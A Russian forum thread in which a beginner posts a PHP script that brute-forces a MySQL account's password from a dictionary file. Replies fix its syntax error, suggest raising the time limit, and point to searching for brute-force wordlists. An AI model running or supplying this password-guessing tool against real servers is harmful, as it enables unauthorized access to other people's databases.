MySQL подбор пароля

R@Z()r · Регистрация: 13.01.2010

Студворк — интернет-сервис помощи студентам

Вот такой скрипт, перебирает пароль к одному пользователю MySQL по словарю.
POST запрос - host=127.0.0.1 login=root dic=pass.txt
Пользователь root существует, pass.txt лежит рядом со скриптом.

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
ini_set("display_errors","1");
ini_set('error_reporting', E_ALL);
$hostname = $_POST['host'];
$username = $_POST['login'];
$passfile = $_POST['dic'];
 
$file = fopen($passfile,"r");
$line = fread($file,filesize($passfile));
fclose($file);
$passarr = explode("\n",$line);
$passn = sizeof($passarr);
echo "<h2>Хост: <font color=red>$hostname</font><br>Логин: <font color=red>$username</font><br>Файл с паролями: <font color=red>$passfile</font><br>Всего паролей: <font color=red>$passn</font><br><br></h2>";
 
for($i=0;$i<$passn;$i++)
{
$ii = $i+1;
if (!mysql_connect($hostname,$username,$passarr[$i]))
{
}
else
{
echo "<h1><font color=red><b>$passarr[$i]</b> (№$ii) ПОДОШЕЛ <br></h1></font>";
$i = $passn;
mysql_close();
}
}
echo "<br>Завершено";
}
?>

за код особо не ругайте, PHP занимаюсь первую неделю))
Проблема в чем: скрипт ничего не выводит. Совсем. Почему? Где ошибка
P.S. Взламывать никого не собираюсь, нужно исключительно для себя))

Vovan-VE · 09.09.2010, 16:34

Потому что в php.ini отключено display_errors off , в скрипте ошибка синтаксиса (следовательно, он не запускается), и Апач выдает пустую страницу 500.

Добавлено через 34 секунды
Лишняя } в строк 29.

R@Z()r · 09.09.2010, 20:07 **[ТС]**

Так, ещё одна проблема возникла.
Через HTML форму сделал запрос скрипту, он вроде отработал, но не показал страницу, а вместо этого отдал на загрузку файл script.php. Файл открыл, он оказался пустой.
Понятия не имею из-за чего это может быть.
Может, у браузера есть предел ожидания ответа и при превышении он решает попытаться скачать файл?

Добавлено через 1 минуту
Взял маленький словарь, отработал он быстро и вывел результат.

@Mefen · 27.10.2011, 22:55

а где можно словарь взять, который содержит много слов? в электронном виде

@MegaAce · 27.10.2011, 23:25

Не по теме:

Mefen, брутфорс словари в любимом поиске

@planod · 28.10.2011, 08:35

Сообщение от R@Z()r

Взял маленький словарь, отработал он быстро и вывел результат.

Время для выполенния скрипта можно установить.
http://php.su/functions/?set_time_limit

Новые блоги и статьи Все статьи Все блоги /
AkelPad-скрипты, структуры, и немного лирики.. testuser2 05.04.2026 Такая программа, как AkelPad существует уже давно, и также давно существуют скрипты под нее. Тем не менее, прога живет, периодически что-то не спеша дополняется, улучшается. Что меня в первую очередь. . .	Отображение реквизитов в документе по условию и контроль их заполнения Maks 04.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеСпецтехники", разработанного в конфигурации КА2. Данный документ берёт данные из другого нетипового документа. . .	Фото всей Земли с борта корабля Orion миссии Artemis II kumehtar 04.04.2026 Это первое подобное фото сделанное человеком за 50 лет. Снимок называют новым вариантом легендарной фотографии «The Blue Marble» 1972 года, сделанной с борта корабля «Аполлон-17». Новое фото. . .	Вывод диалогового окна перед закрытием, если документ не проведён Maks 04.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать программный контроль на предмет проведения документа. . .
Программный контроль заполнения реквизитов табличной части документа Maks 02.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: 1. Реализовать контроль заполнения реквизита. . .	wmic не является внутренней или внешней командой Maks 02.04.2026 Решение: DISM / Online / Add-Capability / CapabilityName:WMIC~~~~ Отсюда: https:/ / winitpro. ru/ index. php/ 2025/ 02/ 14/ komanda-wmic-ne-naydena/	Программная установка даты и запрет ее изменения Maks 02.04.2026 Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: при создании документов установить период списания автоматически. . .	Вывод данных в справочнике через динамический список Maks 01.04.2026 Реализация из решения ниже выполнена на примере нетипового справочника "Спецтехника" разработанного в конфигурации КА2. Задача: вывести данные из ТЧ нетипового документа. . .

Vovan-VE 13210 / 6599 / 1041 Регистрация: 10.01.2008 Сообщений: 15,069
	09.09.2010, 16:34
	Потому что в php.ini отключено display_errors off , в скрипте ошибка синтаксиса (следовательно, он не запускается), и Апач выдает пустую страницу 500. Добавлено через 34 секунды Лишняя } в строк 29. 1

R@Z()r 10 / 12 / 2 Регистрация: 13.01.2010 Сообщений: 363
	09.09.2010, 20:07 [ТС]
	Так, ещё одна проблема возникла. Через HTML форму сделал запрос скрипту, он вроде отработал, но не показал страницу, а вместо этого отдал на загрузку файл script.php. Файл открыл, он оказался пустой. Понятия не имею из-за чего это может быть. Может, у браузера есть предел ожидания ответа и при превышении он решает попытаться скачать файл? Добавлено через 1 минуту Взял маленький словарь, отработал он быстро и вывел результат. 0

@Mefen 0 / 0 / 0 Регистрация: 12.02.2011 Сообщений: 61
	27.10.2011, 22:55
	а где можно словарь взять, который содержит много слов? в электронном виде 0

@MegaAce
	27.10.2011, 23:25
	Не по теме: Mefen, брутфорс словари в любимом поиске 0